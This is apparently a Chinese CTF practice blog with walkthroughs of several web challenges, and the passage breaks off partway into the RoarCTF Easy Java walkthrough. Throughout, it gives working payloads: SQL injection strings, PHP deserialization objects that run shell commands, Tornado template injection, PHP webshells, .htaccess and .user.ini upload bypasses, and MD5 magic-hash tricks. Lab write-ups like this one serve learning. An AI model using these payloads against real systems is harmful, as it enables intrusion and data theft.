成功绕过waf的过滤,既然能够命令执行,现在就是考虑怎么获取flag了,因为试了system发现并不行,所以可能不是命令执行,而是代码执行,那么我们就需要使用函数来读取文件,这里使用scandir()来读取指定目录中的文件和目录列表,不过这个函数返回的是数组,所以我们使用var_dump函数,它是 PHP 中用于输出变量详细信息的函数,包括变量的 类型 和 值。它会递归地显示数组或对象的结构,这里我们读取一下根目录,不过前面的代码里面也可以看到过滤了 / ,所以使用编码绕过,而斜杠的ascii是47,所以构造如下payload:

1;scandir(chr(47))

当然这样是无法显示数据的,因为只是执行了函数,但是没有将结果输出,所以这里我们将结果输出一下,可以使用echo等输出,不过只会输出一个参数,而scandir返回的是一整个数组,所以我们使用var_dump来输出所有内容:

1;var_dump(scandir(chr(47)))

成功在根目录下发现一个f1agg的文件,接下来就是读取这个文件了,使用file_get_contents,这个函数返回的文件内容并不会直接输出,所以我们还需要使用var_dump或echo等来输出flag:

1;echo(file_get_contents(chr(47).f1agg))
1;var_dump(file_get_contents(chr(47).f1agg))

夺旗成功!

[HCTF 2018]admin

题目:

该靶机启动需要 60 秒,请耐心等待

解题思路:

看题目,这题启动有点慢,等待一会后访问看看

访问后发现右上角有一个菜单栏,点开后有两个菜单,一个是登录一个是注册,然后我们先看看源代码

有一个posts的页面,点开是404,然后还有一个你不是管理员的提示,加上标题,估计是想让我们登录管理员的账号,管理员的用户名多半是admin

好的,先确认是不是真的存在admin用户,我们先正常注册一个用户名,然后登录但是输入错误的密码

发现不管用户是否存在,或者密码是否正确都是返回相同的提示,那么我们就无法通过这个来判断admin是否存在,不过可以尝试一下二次注册看看

然后在注册同一个用户名的时候发现显示的是用户名已注册,那么我们试试admin

这里没有翻译啊,不过的确可以看到admin用户是存在的,因为我们注册的时候显示用户名存在,接下来就是想办法注入了,既然是登录框,万能密码必不可少:

admin' or 1=1#

密码随便输入一个,因为密码可能会加密存储,所以测试用户名通常比较好

尝试万能密码发现报错了,尝试其他payload发现返回的都是这个页面 ,说明关闭了报错,同时判断错误就返回该页面,继续,测试反斜杠逃逸:

\
or 1=1#

提示用户名和密码错误,说明密码加密存储了,那么换个思路,登录我们之前注册的账号看看

发现又多了几个功能,改变密码,退出登录还有一个edit,那么现在就有两个思路了,一个是尝试重置管理员的密码然后登录,一个是直接利用页面回显了用户名,注册恶意的用户名来获取数据

不过这两种都是二次注入,先尝试重置密码吧,因为我们也不确定能不能解密管理员的密码,当然也可以直接尝试获取数据库的flag,不过流程相对麻烦,还是直接登录管理员账号来获取flag吧

重置密码当前用户的密码,发现没有传递用户名的参数,那就构造恶意的用户名试试:

admin\

发现反斜杠可以注册,其他的无法注册,看来对注册也进行过滤了,那么直接Fuzz跑一下看看过滤了哪些

982长度的是没被过滤的字符,455是过滤的了,可以看到过滤了空格,不过括号没有,那么就用阔号替代,不过引号过滤卡住我了,我硬是思考了半天,然后没招了看了一下wp,发现是高估题目了,这题最简单的解法就是弱口令,密码是123,关键是我注册账号的时候尝试的都是123,就是没试试管理员的密码,还想着怎么SQL注入呢,白瞎忙活,然后还有另外几种解法,都看了一下

一种是Unicode欺骗,不过这个我看大家都是看源代码分析出来的,不过我尝试访问题目提示的源代码时发现失效了,不过看了一下他们的截图,发现是代码用了strlower,并且是在三个页面都使用了,所以当我们用Unicode字符注册后,重置密码,再退出登录后就是管理员的账号了,地址如下:

https://unicode-table.com/en/1D2E/ 

在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session[‘name’]==’admin’,也就是只要用户名是’admin‘就可成功登录了)

可以看到当我们注册ᴬᴰᴹᴵᴺ用户名后登录发现用户名变成了ADMIN,这个时候重置一下密码

再退出登录,密码为重置的密码

在第一次注册的时候被转换小写后就是ADMIN,然后在重置密码的时候又转换了一遍就是admin,所以实际上重置的是管理员的密码

然后还有一种方法好像是session,好像是flask框架的问题

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞

然后代码判断的是解密后的session中的用户名是否为admin,只需要我们伪造成admin,然后用同样的方法加密后即可登录,而加密用到的key,源代码中也有ckj123,具体这里就不演示了,可以看看这几篇wp:

https://www.cnblogs.com/chrysanthemum/p/11722351.html
https://atmujie.com/2021/06/21/HCTF2018-admin%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/
https://www.bilibili.com/opus/696859002149011528
https://www.cnblogs.com/Jleixin/p/13283098.html

加密脚本地址:

https://github.com/noraj/flask-session-cookie-manager

[MRCTF2020]你传你🐎呢

解题思路:

这题目名称有意思哈,看来就是上传Webshell,开启靶机看看

选了一个webshell上传,发现返回了

可能是做了限制,用png看看

路径有了,不过文件名有变化,然后我们尝试burpsuite抓包图片然后将Webshell放在里面看看,发现没有对内容做过滤,直接<?php?>没有检测,那就是文件名做了限制,换成phtml试试,发现也不行

那就试试看.htaccess能不能上传

可以上传,不过要进行MIME伪造,然后上传成功,接下来上传一个图片木马就好了

然后访问对应路径进行连接就好了

发现禁用了system,那就换eval

没问题,直接读取flag文件

echo file_get_contents('/flag');

成功夺旗!

[NewStarCTF 2023 公开赛道]Unserialize

解题思路:

访问靶机,直接提供了代码:

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
 private $cmd;

 public function __destruct()
 {
     if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
         @system($this->cmd);
     }
 }
}

@unserialize($_POST['unser']);
?>

还是析构函数,对象销毁时调用,然后反序列化post提交的unser,那么直接本地序列化payload:

<?php
 class evil {
     private $cmd="ls";
 }
 $a = new evil();
 $b = serialize($a);
 echo $b;
?>

这种序列化数据直接抄题目代码就行,定义一个evil的类,然后声明私有属性cmd为payload,然后实例化对象,然后序列化实例,输出序列化后的数据,因为没有过滤ls,所以直接ls获取一下目录下的文件信息,上面文件的运行结果为:

O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}

如果你是代码编辑器里面看的话会发现evilcmd前面和中间是有空格的,但是复制了却没有,然后长度也对不上,因为这两个是空字符,看不到但是存在,我们如果需要使用,就必须加上%00,不过如果是post的话burpsuite也可以只不过有点麻烦,刚好我今天把hackbar装了一个免费的版本,直接用这个就好了,提交一下参数,就可以看到结果了:

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:2:"ls";}

不在当前目录,那就是根目录了,直接ls / 看看:

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}

接下来就是读取这个th1s_1s_fffflllll4444aaaggggg文件了,不过可以看到前面过滤了cat|tac|more|tail|base,linux读取文件的方法有很多,记不住搜索引擎一搜就知道了,要是你记得住或者搜到的都被过滤了,那么还可以尝试将文件cp复制到web目录,然后直接访问来读取文件内容,这里因为没有过滤head,所以直接使用head读取了,head是读取文件头xx行的命令:

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:40:"head -n 1 /th1s_1s_fffflllll4444aaaggggg";}

成功夺旗!

在这个题目之前还有一个反序列化的题目,不过其中涉及到反序列化逃逸,然后我又不是特别看得懂,所以只是简单的分析了一下代码,之所以在做反序列化命令执行的题目是因为我前面学习懂了之后,发现很有意思,代码审计也好玩,所以就想找两个题目练练手,不过找着找着就做文件上传了,等想起来的时候就是现在了,这个题没有看wp,自己直接做而且是速通,太爽啦!

[护网杯 2018]easy_tornado

解题思路:

直接开启靶机访问看看

依次点开,flag.txt告诉了我们flag地址,另外两个没看懂是干什么的

然后路径里面包含了文件名参数和文件hash,简单的尝试修改了一下发现不对,应该是hash后的结果也要对才行,welcome里面没啥,不过hints里面好像是有提示

按照这些信息可以判断出如果我们想要获取flagURL路径如下:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

有意思的是我直接搜索cookie_secret发现了提示

和这题很像,那么我们抓包看看cookie_secret,没找到这个玩意,看上面这个图片,需要通过访问handler.settings来获取环境配置信息,然后我们前面搜集信息发现有一个welcome页面,提示的是render,搜了一下,是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页

也就是说我们多半是要利用这个注入来获取信息,获取信息的注入语句上面的图片也有,但是肯定不是直接注入,因为直接输入文件名和错误的hash是不对的,不过发现了一个不对的页面

之前的几个页面都是需要传入hash,这个页面好像就不需要了,试试注入语句:

# 在Tornado模板中注入代码来获取cookie_secret
{{ handler.settings['cookie_secret'] }}

然后看了别人的wp发现也可以利用这个来获取cookie_secret:

{{handler.settings}}

既然得到了cookie_secret,接下来就是利用python脚本来计算文件对应的hash了,这是那个图片中的代码:

# Python代码计算MD5值
import hashlib

filename = '/path/to/file'
cookie_secret = 'your_cookie_secret'
# 计算文件名的MD5值
filename_md5 = hashlib.md5(filename.encode()).hexdigest()
# 将cookie_secret和文件名的MD5值拼接后再次计算MD5值
filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest()

hexdigest是Python中哈希对象的一个方法,可以对数据进行哈希处理,并返回其对应的十六进制表示。具体来说,hexdigest方法会将二进制表示的数据经过哈希函数处理后,将结果转换为十六进制表示

hashlib.md5(filename.encode()).hexdigest将文件名编码,然后使用md5加密,最后将结果转换成16进制

这个代码先是导入hashlib库,然后配置文件名和cookie_secret,然后计算文件名的md5值,再然后拼接再次计算,看懂之后我们直接仿着写就好了,不过为了验证我们思路是否正确,我们可以先计算它原有页面的文件名对应的hash,如果对的上就说明没问题:

import hashlib

filename = "/flag.txt"
cookie_secret = 'ORZ'

# md5(cookie_secret+md5(filename))
filename_md5 = hashlib.md5(filename.encode()).hexdigest

# filehash = md5(cookie_secret+filename_md5)
filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest

# 输出文件hash
print(filehash)

运行结果:

PS D:\VScode\Project_Directory> & D:/python/python.exe d:/VScode/Project_Directory/learn/1.py
Traceback (most recent call last):
File "d:\VScode\Project_Directory\learn\1.py", line 86, in <module>
 filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest
                         ~~~~~~~~~~~~~~^~~~~~~~~~~~~~
TypeError: can only concatenate str (not "builtin_function_or_method") to str

看到这个TypeError就知道是类型错误了,翻译一下报错信息:只能将字符串与字符串连接(不能将“内置函数或方法”与字符串连接),然后打印了一下filename_md5的结果发现也不对,提示:

<built-in method hexdigest of _hashlib.HASH object at 0x000001BA097399F0>

然后问了一下ai发现是我代码问题,忘记加阔号了,hexdigest()这个后面是有一个阔号的,正确代码如下:

import hashlib

filename = "/flag.txt"
cookie_secret = 'ORZ'

# md5(cookie_secret+md5(filename))
filename_md5 = hashlib.md5(filename.encode()).hexdigest()

# filehash = md5(cookie_secret+filename_md5)
filehash = hashlib.md5((cookie_secret + filename_md5).encode()).hexdigest()

# 输出文件hash
print(filehash)

运行结果:

d14dca8ca31ccbc33749141d9707f4cd

和前面的题目中的原hash比较了一下也不对啊,看了看wp,好家伙,刚好就差一步,前面的注入语句不对,但是我以为两个都是正确的,然后就直接用那个了,回头看了一眼别人的wp,用第二种语句注入的获取到的结果:

{{handler.settings}}

输出结果如下:

重新计算一下

没问题了,是正确的结果,接下来就是计算那个flag文件的hash,替换一下filename即可:

filename="/fllllllllllllag"

运行结果:

461f2b6898649add5daa9648fab6998c

接下来带着正确的hash去访问

成功夺旗!

这题大概的思路就是告诉你文件路径,告诉你加密方法,但是加密还带有一个cookie_secret参数,这个参数需要我们去获取,在Web开发中,cookie_secret是一个用于加密Cookie的密钥,它确保了传输过程中Cookie的安全性

在Tornado框架中,cookie_secret可以通过模板注入来获取,这是因为Tornado的模板系统允许开发者访问某些预定义的对象和方法,而题目也告诉我们是easy_tornado

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,所以payload为{{handler.settings}}

至于注入点,肯定不是file这个地方,因为这个地方只获取文件名和hash然后验证,正确就返回对应的文件,传入注入语句肯定是没用的

[BJDCTF2020]Easy MD5

解题思路:

开启靶机后啥都没有,就一个输入框和提交,查看网页源代码发现没有东西,然后我就去看官方的wp了,发现官方的wp是re和其他方向,然后加上题目,我就误以为这是密码学的题目了,然后先是放弃了,做到上面这个题目的时候有点不甘心,重新回来看了一遍,发现的确是web题目,不过官方提供的github地址中的两位web wp的师傅的链接失效了,然后我是直接搜索关键词看的别人的wp

随便输入几个数字发现也没反应,但URL里面多了一个password的参数

只不过具体查询语句还是不知道,而且也猜不出来,看了别人wp提示才知道的,也是自己忘记了用火狐浏览器查看一下,只靠源码和目录扫描来获取信息肯定会漏掉提示,之前有个题目就是隐性请求,需要Burpsuite开着才能发现,也是提示了之后才注意到,然后我重新把题目地址用火狐打开,看了一下burpsuite的HTTP历史,发现其中的响应头多了一个信息

可以看到多了一个语句:

select * from 'admin' where password=md5($pass,true)

$pass多半就是我们提交的参数,第二个true参数不知道,那就查查看:

MD5函数第二个参数默认值为false,表示会产生一个32位的常规MD5值。 而true,则是原生的16字符的二进制格式,这意味着,这里有可能人为输入一个字符串,经加密后的值以 二进制格式 生成,又被当字符串处理,很可能新的字符串中含有可以构造SQL万能密码的’or’的部分

这里的是原始16字符二进制格式,16位秘文和32位秘文的第8-24位子字符串时一样的,也就是中间的16位,这个原始16字符二进制格式一般会有乱码,如果想解决的话,需要对输出的16位字节的二进制转换为十六进制,取32位秘文的中间16位,如果MD5值经过hex后,就构成万能密码进行了sql注入

ffifdyop这个字符串md5后的结果是276f722736c95d99e921722cf9ed621c,将这个16进制解码得到

这个字符串前几位刚好是 ' or '6,而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数,为什么后面是永真式呢,因为在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数,要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true,这点就和PHP弱比较很像了,所以我们提交这个ffifdyop就可以成功注入:

ffifdyop

提交后页面返回信息如下,还是一样,先看页面源代码,发现有提示

提交a和b,如果a不等于b并且md5后的a弱等于md5后的b估计就进入对应代码块,那就很简单了,md5后的a和md5后的b开头的数字一样即可,因为是弱比较,不过比较麻烦,我看了一下别人的wp,发现是可以用数组绕过,因为a和b可以是两个不同的数组,而md5数组会返回NULL,两个都是NULL,弱比较的结果就是true了,的确没问题,所以构造提交数组的payload即可:

?a[]=1&b[]=2

成功下一个

这真的是easy_md5吗,多关结合啊,没办法继续做,代码很简单,关闭报错,包含flag文件,然后输出文件的代码,如果post提交的param1参数不弱等于param2参数并且md5后的param1要绝对等于md5后的param2,才会输出flag

这个前面一样,都可以使用数组来解决:

param1[]=1&param2[]=2

成功夺旗!

知识点

然后补充一个知识点,如果不用这个数组怎么绕过,比如前面第二个关卡,我们就可以使用科学计数法

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样我们完全可以去寻找明文不同但MD5值为”0exxxxx”的字符串,这里从别人那里copy过来的,相关文献

QNKCDZO
0e830400451993494058024219903391
----------------------------------- 
s878926199a
0e545993274517709034328855841020
----------------------------------- 
s155964671a
0e342768416822451524974117254469
-----------------------------------
s214587387a
0e848240448830537924465865611904
-----------------------------------
s214587387a
0e848240448830537924465865611904
-----------------------------------
s878926199a
0e545993274517709034328855841020
-----------------------------------
s1091221200a
0e940624217856561557816327384675
-----------------------------------
s1885207154a
0e509367213418206700842008763514
-----------------------------------
s1502113478a
0e861580163291561247404381396064
-----------------------------------
s1885207154a
0e509367213418206700842008763514
-----------------------------------
s1836677006a
0e481036490867661113260034900752
-----------------------------------
s155964671a
0e342768416822451524974117254469
-----------------------------------
s1184209335a
0e072485820392773389523109082030
-----------------------------------
s1665632922a
0e731198061491163073197128363787
-----------------------------------
s1502113478a
0e861580163291561247404381396064
-----------------------------------
s1836677006a
0e481036490867661113260034900752
-----------------------------------
s1091221200a
0e940624217856561557816327384675
-----------------------------------
s155964671a
0e342768416822451524974117254469
-----------------------------------
s1502113478a
0e861580163291561247404381396064
-----------------------------------
s155964671a
0e342768416822451524974117254469
-----------------------------------
s1665632922a
0e731198061491163073197128363787
-----------------------------------
s155964671a
0e342768416822451524974117254469
-----------------------------------
s1091221200a
0e940624217856561557816327384675
-----------------------------------
s1836677006a
0e481036490867661113260034900752
-----------------------------------
s1885207154a
0e509367213418206700842008763514
-----------------------------------
s532378020a
0e220463095855511507588041205815
-----------------------------------
s878926199a
0e545993274517709034328855841020
-----------------------------------
s1091221200a
0e940624217856561557816327384675
-----------------------------------
s214587387a
0e848240448830537924465865611904
-----------------------------------
s1502113478a
0e861580163291561247404381396064
-----------------------------------
s1091221200a
0e940624217856561557816327384675
-----------------------------------
s1665632922a
0e731198061491163073197128363787
-----------------------------------
s1885207154a
0e509367213418206700842008763514
-----------------------------------
s1836677006a
0e481036490867661113260034900752
-----------------------------------
s1665632922a
0e731198061491163073197128363787
-----------------------------------
s878926199a
0e545993274517709034328855841020

[MRCTF2020]Ez_bypass

解题思路:

直接访问靶机看看

咋也搞不懂为什么不直接使用函数优雅高亮显示源代码,这样搞看都看得晕,没有缩近可读性太差了,好在查看源代码能够有缩近

当然,题目也提示我们F12,然后我们将代码copy到vscode里面查看,发现还是一样的,判断md5后绝对相等,但是原内容不相等:

gg[]=1&id[]=2

这样就绕过了前面的判断,并输出了你迈出了第一步的英文,然后进入下一个判断,passwd为我们提交的passwd,不为数字,但是要弱等于1234567,简单1234567a就好了,注意是post提交的参数喔

成功夺旗!

因为前面做过类似的题目,现在看到这个基本上都有绕过思路了,果然还是要多刷题

[ZJCTF 2019]NiZhuanSiWei

解题思路:

直接访问靶机

这个题目就比上一个好多了,直接使用highlight_file将源代码输出了,看一下逻辑

三个参数,text,file,password,读取text的传入的路径,如果文件内容为xxxx进入判断模块,我们直接传入的text是被当作路径解析,所以肯定是无法满足的,不过我们可以使用PHP伪协议来实现,找了一下我之前的PHP函数入门的那篇文章,发现可以利用data来实现,payload如下:

text=data://text/plain,welcome to the zjctf

成功,接下来继续看源代码,发现如果不是flag,就会走下一个代码块,其中有个注释,估计是提示我们用filter协议读取这个文件,构造payload:

text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

将内容base64解码然后放到vscode里面看看:

<?php  

class Flag{  //flag.php  
 public $file;  
 public function __tostring(){  
     if(isset($this->file)){  
         echo file_get_contents($this->file); 
         echo "<br>";
     return ("U R SO CLOSE !///COME ON PLZ");
     }  
 }  
}  
?>   

魔术方法是当对象被当作字符串使用时触发

所以这里触发了这个_tostring,发现这个代码里面的file_get_contents没有进行过滤,通过这个来读取flag,直接本地序列化一下数据:

<?php  

 class Flag{  //flag.php  
     public $file;  
     public function __tostring(){  
         if(isset($this->file)){  
             echo file_get_contents($this->file); 
             echo "<br>";
         return ("U R SO CLOSE !///COME ON PLZ");
         }  
     }  
 }  
 $a = new Flag();
 $a->file="flag.php";
 $b = serialize($a);
 echo $b;
?>  

运行结果:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造完整的payload:

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

结果没看到flag,我还纳闷是什么问题,F12才发现

因为这个文件的判断是2绝对等于3才返回flag,但是永远不可能等于,所以无法直接访问,不过这里我们使用的是useless.php,这个里面的魔术方法触发时同样会读取文件内容,且没有过滤,所以利用这一点,我们构造序列化的payload来触发即可,至于序列化的数据怎么构造,很简单,直接复制它的代码,然后自己实例化一个对象,然后用函数序列化即可,最后将数据输出,当然有些参数是私有属性,我们需要在对象内部修改,有些是公开属性,直接在实例化后设置这个属性即可

最后也是成功夺旗!

现在我基本上简单的反序列化题目都可以做出来了,还是很简单的,并且代码看得多了,也不像以前需要一行一行的逐行分析了,看一眼基本上就能够懂了,我也终于不在是以前那个还需要靠ai分析代码的人了,现在只有不懂的函数搜索引擎搜一下,ai基本上不用了

[网鼎杯 2020 青龙组]AreUSerialz

解题思路:

还是一样,直接开启靶机访问

代码有点长,复制到vscode里面查看,大概70多行,在代码比较多的时候,不要慌,首先开头可以看到包含了flag文件,那么就现在输出,那里输出了flag,没有找到没有关系,先不去看对象内部的复制内容,直接看后面:

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
  if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
      return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
  $obj = unserialize($str);
}

}

这个不是对象内部的内容,可以先看这个if,参数是str,请求方式是get,然后用is_vaild函数处理,反序列化$str,首先要反序列化这个$str必须让is_valid返回true,那就看看这个函数的处理

for循环的代码就是遍历每一个字符,然后判断,如果字符串转成ascii后的结果不在32-125之间就返回false,也就是说什么空字符等等都是无法进入反序列化的,demo:

<?php
function is_valid($s) {
  for($i = 0; $i < strlen($s); $i++)
      if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
          return false;
  return true;
}
$str = "\x00(string)[acs'str']";
// $str = "\x21(string)[acs'str']";
if(is_valid($str)) {
  echo $str;
}


?>

第一个str是空字符,所以走不到输出,第二个 16 进制 21 对应的是!号,所以可以输出,因为!ascii是33,所以满足,继续,反序列化对象,然后我们再来看对象内部,发现有两个魔术方法,一个是初始化时触发,一个是对象销毁时触发:

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

function __destruct() {
if($this->op === "2")
  $this->op = "1";
$this->content = "";
$this->process();
}

可以看到两个魔术方法都调用了process()方法,先看这个方法:

public function process() {
if($this->op == "1") {
  $this->write();
} else if($this->op == "2") {
  $res = $this->read();
  $this->output($res);
} else {
  $this->output("Bad Hacker!");
}
}

调用了三个方法,分别是write,read,output,先看write:

private function write() {
if(isset($this->filename) && isset($this->content)) {
  if(strlen((string)$this->content) > 100) {
      $this->output("Too long!");
      die();
  }
  $res = file_put_contents($this->filename, $this->content);
  if($res) $this->output("Successful!");
  else $this->output("Failed!");
} else {
  $this->output("Failed!");
}
}

判断初始化的filename和content是否存在,然后判断content的长度大于100,满足调用output方法,传入参数”Too long!”,结束脚本,看一下这个output方法,发现是直接输出传入的参数,那么继续,当content不大于100,file_put_contents写入文件,如果写入成功,输出Successful!,写入失败输出Failed!,如果filename和content没有设置,也会输出Failed!

然后就是read方法:

private function read() {
$res = "";
if(isset($this->filename)) {
  $res = file_get_contents($this->filename);
}
return $res;
}

$res是空字符串,然后用file_get_contents读取filename路径的文件,然后返回结果,再回到前面的process方法:

public function process() {
if($this->op == "1") {
  $this->write();
} else if($this->op == "2") {
  $res = $this->read();
  $this->output($res);
} else {
  $this->output("Bad Hacker!");
}
}

如果对象的op为1,就执行write方法,如果op为2,执行read方法,然后用output输出,如果不为1和2就用output输出Bad Hacker!,然后继续,看两个魔术方法具体怎么使用的:

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

function __destruct() {
if($this->op === "2")
  $this->op = "1";
$this->content = "";
$this->process();
}

对象初始化的时候调用写入方法,然后写入的路径是/tmp/tmpfile,写入的内容是Hello World!,对象销毁时如果op绝对为字符串2,才会重置为字符串1,而process方法里面是弱比较,不过比较的不是数字,而是字符串,也就是说字符串2a和2是不同的

为什么之前可以呢,之前比较的是当数字和字符串比较的时候,字符串会被转换成数字,而字符串和字符串比较是不会转换的,所以这里我们不能使用2a来绕过,不过既然直接比较的是字符串,那么我们可以传入数字,如果op=2,因为是数字,析构函数里面的强比较就匹配不上,所以还是原先的数字,然后在调用process方法时用的是弱比较,所以数字2等于字符串2,满足read的条件,执行read

然后filename用伪协议读取可以,直接传入文件名也可以,因为没有过滤 ,直接就能读取到,不过后者可能不直接显示,需要F12或查看网页源代码才能看到,因为读取的内容被解析为注释了

然后我们来看一下怎么构造payload:

<?php
 class FileHandler {
     public $op=2;
     public $filename="flag.php";
     public $content="";
 }
 $a = new FileHandler();
 $b = serialize($a);
 echo $b;
?>

定义一个类,然后用public来声明,实例化对象,然后序列化数据,然后输出,很简单,不过这里为什么不像源代码一样使用protected呢,因为这个生成的序列化数据是包含空字符的也就是%00,然后前面分析代码也知道了,%00就不会走反序列化了,所以我们得绕过它,那么使用public生成的序列化数据就是没有空格的,还有一个private,也是的,生成的序列化数据都是包含空字符的

  • public 公共的 任何成员都可以访问
  • private 私有的 只有自己可以访问
  • protected 保护的 只有当前类的成员与继承该类的类才能访问

当然,你也可以用这两个生成然后手动删除空的字符和修改为对应长度,这样的结果和直接使用public是一样的,序列化结果如下:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

然后我后来看别人的wp发现还有一种方法,就是绕过ord限制,我们可以使用16进制来绕过,因为检查的是ascii的值,我们使用16进制就可以绕过,不过比较麻烦,不光需要url编码替换还需要将小写的s转换为大写的s,将序列化格式从普通字符串(s)改为16进制字符串(S),16进制格式允许使用转义序列如\000而不需要真实的空字节

$mao =str_replace('%00',"\\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
原文链接:https://blog.csdn.net/m0_73734159/article/details/134648981

然后我发现他们都是用伪协议读取的文件,如果url编码,那就更长了,搞不好就触发了100长度的限制,所以我也搞不懂为什么不直接传入flag.php读取,读取的结果无非就是F12一下,比特意去base64解码可轻松多了

所以我是直接使用public绕过,然后不编码,直接传flag.php读取的文件内容

成功夺旗!

[GXYCTF2019]BabyUpload

解题思路:

直接访问题目

是文件上传,直接选中上传一个正常的图片,然后抓包,修改文件名和文件内容

提示后缀不能有ph,对文件名做了检查,那就换一个,试试.htaccess

提示上传类型太露骨,也就是说.htaccess绕过了文件名的限制,而image/png的文件类型不行,那就换一个文件类型,试试image/jpeg

上传成功,有点无语,png都不让上传啊,差点让我判断错了,应该先上传一个图片看看能不能上传的,接下来就是直接上传图片木马了

看来还检查了文件内容,先加一个文件头看看能不能绕过

不行,看来是检测了<?php,php的版本是5.6.23,那么就换<script>

<script language=php>system($_GET['cmd']);</script>

上传成功,直接连接,然后执行命令

system被禁用了,那就换eval:

GIF89a
<script language=php>eval($_GET['cmd']);</script>

连接,然后输出一下phpinfo看看:

http://af9a7172-943e-4ff5-b4fe-5fef64de7713.node5.buuoj.cn:81/upload/5b6bb694ecc0b369a09c3c96a6873bd8/2.webp?cmd=phpinfo();

ctrl+f 搜索一下 disable_functions ,看看禁用了那些函数,发现之前用的var_dump和file_get_contents以及scandir都没有禁用,那就来读取一下目录

当前目录下面没有东西,那就直接读取一下根目录,果然发现一个flag文件,那就直接读取这个

成功夺旗!

[SUCTF 2019]CheckIn

解题思路:

直接开启题目访问

又是文件上传,先上传一个png图片看看

直接上传没有问题,那么试试php一句话木马:

<?php system($_GET['cmd']); ?>

提示illegal suffix!,换成phtml和pHp试了试,发现都是非法后缀,那就试试.htaccess

因为不小心把png和特殊字符删了,只好自己加了一个GIF89a,然后上传成功,接下来就是上传一个png的文件

发现还检查了<?php,那就换:

<script language=php>system($_GET['cmd']);</script>

上传成功,直接访问看看:

http://dd7d0fe6-a839-449d-a961-9bb23ec8f020.node5.buuoj.cn:81/uploads/331f5a2fec4659f9c8cd3a470a780b69/111.png

依旧没有执行,重新上传了一个文件,发现之前的.htaccess文件不见了,看来是对.htaccess也做了限制,那就换一个,用.user.ini:

//上传.user.ini需满足如下条件:

(1)服务器脚本语言为PHP                     
(2)对应目录下面有可执行的php文件              //index.php
(3)服务器使用CGI/FastCGI模式   

GIF89a                         
auto_prepend_file=b.jpg
//auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入
上面这个意思就是将我们的b.gif文件插入到index.php头部
这样php代码就会被解析执行

上传成功,接下来上传b.jpg文件:

然后访问index.php,带上cmd参数

因为没有禁用system,所以我就不再开工具连接了,直接在浏览器里面读取flag

成功夺旗!

在根目录下发现的flag文件,然后直接cat

[GYCTF2020]Blacklist

解题思路:

直接访问题目看看

“黑名单对你来说太弱了,不是吗”,试试

直接尝试单引号发现报错了,那么直接尝试报错注入:

' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

看到过滤了select,且不是替换为空第一时间就要转变思路为使用show:

';show tables();#

继续,直接获取表的列:

';show columns from FlagHere;#

没问题,flag在FlagHere表的flag列里面,接下来就是获取数据,过滤了预处理,还过滤了alter,我记得前面的强网杯随便注好像和这个差不多,不过这个过滤了预处理和alter,不过没有过滤前面那部分提到的handler,那么直接结合前面构造payload读取数据:

打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

';HANDLER FlagHere OPEN ;HANDLER FlagHere READ next;HANDLER FlagHere READ CLOSE;#

成功夺旗!

[RoarCTF 2019]Easy Java

解题思路:

还是一样,直接访问题目

登录框,万能密码:

admin
' or 1=1#

提示密码错误,也就是说管理员的用户名没错,试试,发现不管是admin还是其他,都是密码错误,然后还有一个help的按钮,点击后显示如下:

显示文件没有找到,并且在URL中看到一个filename的参数,猜测可能是请求方法的问题,换成post看看

成功下载,打开看看

思路没有问题,的确是通过这个下载文件,但是没有找到flag,那么就是别的路径了,尝试了一下/flag也没找到,看了wp提示才知道,缺少了java的知识点:

